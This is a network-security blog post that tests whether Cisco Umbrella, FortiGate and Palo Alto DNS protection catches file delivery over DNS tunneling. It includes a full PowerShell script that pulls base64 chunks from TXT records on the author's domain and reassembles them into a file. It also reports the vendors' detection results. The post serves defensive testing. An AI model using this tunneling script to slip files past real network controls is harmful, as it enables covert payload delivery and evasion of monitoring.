DNS tunneling vs network security controls part 2 – Infiltration

For all testing purposes, I used my blog domain letsnet.eu, which has a good reputation. I created multiple subdomains with TXT records, where I stored a base64-encoded file.

A PowerShell script queries these letsnet.eu subdomains for TXT records. The script then decodes the base64 content, assembles the file chunk by chunk, and saves it to the desktop as file-down.txt

# Define variables
$Domain = "letsnet.eu"                # Domain to query for data
$OutputFilePath = "C:\Users\pzwierzynski\Desktop\file-down.txt" # Path to save the reassembled data
$MaxChunks = 2000                     # Maximum expected number of chunks
$EndMarker = "END"                    # Marker to signify end of data transmission
$ReceivedData = @()                   # Array to store received chunks

# Function to query DNS for data and log responses
function Get-DNS-Data {
    param ([string]$SubDomain)

    try {
        # Query DNS for TXT record
        $Result = Resolve-DnsName -Name $SubDomain -Type TXT -ErrorAction Stop
        if ($Result -and $Result.Strings) {
            # Log raw response to the terminal
            Write-Host "Response from $SubDomain $($Result.Strings)" -ForegroundColor Green
            return $Result.Strings
        } else {
            Write-Host "No data received for $SubDomain" -ForegroundColor Yellow
            return $null
        }
    } catch {
        Write-Host "Failed to query DNS for $SubDomain $($_.Exception.Message)" -ForegroundColor Red
        return $null
    }
}

# Download and reassemble data
Write-Host "Starting download via DNS from $Domain..." -ForegroundColor Green
for ($i = 1; $i -le $MaxChunks; $i++) {
    $SubDomain = "chunk$i.$Domain"
    Write-Host "Querying DNS for $SubDomain" -ForegroundColor Yellow
    $Data = Get-DNS-Data -SubDomain $SubDomain

    if ($Data -ne $null) {
        if ($Data -contains $EndMarker) {
            Write-Host "End of data reached at chunk $i." -ForegroundColor Cyan
            break
        }
        $ReceivedData += $Data
    } else {
        Write-Host "No response for chunk $i. Stopping." -ForegroundColor Red
        break
    }
}

# Reassemble the data
if ($ReceivedData.Count -gt 0) {
    Write-Host "Reassembling data..." -ForegroundColor Green
    $Base64Data = $ReceivedData -join ""
    $BinaryData = [Convert]::FromBase64String($Base64Data)
    [System.IO.File]::WriteAllBytes($OutputFilePath, $BinaryData)
    Write-Host "Data saved to $OutputFilePath" -ForegroundColor Cyan
} else {
    Write-Host "No data received. Exiting." -ForegroundColor Red
}

DNS Protection Testing

Each vendor’s DNS protection capabilities were enabled. Let’s review the results for each solution:

The recognized DNS category is “Uncategorized”, meaning completely unknown from Umbrella’s perspective and what is surprising, we cannot block uncategorized things (FortiGate and Palo Alto can block similar categories—of course, they may produce some false positives—but “unknown” should generally be considered risky):

Blocking uncategorized or unclassified domains is not possible in Cisco Umbrella because blocking this category would lead to a poor Internet browsing experience for users.
Source

However, I found a relevant App Control signature to detect this technique:
🔗 AppControl ID 39624

All vendors claim to offer protection against DNS-based infiltration. Sending files via DNS is a slow process — my test file was only 8 KB, so the download was quick. It’s possible that protections might kick in for larger files or longer infiltration attempts, but setting up such scenarios for testing is quite complex.

In my next blog posts, I’ll test protection against the opposite direction: DNS exfiltration.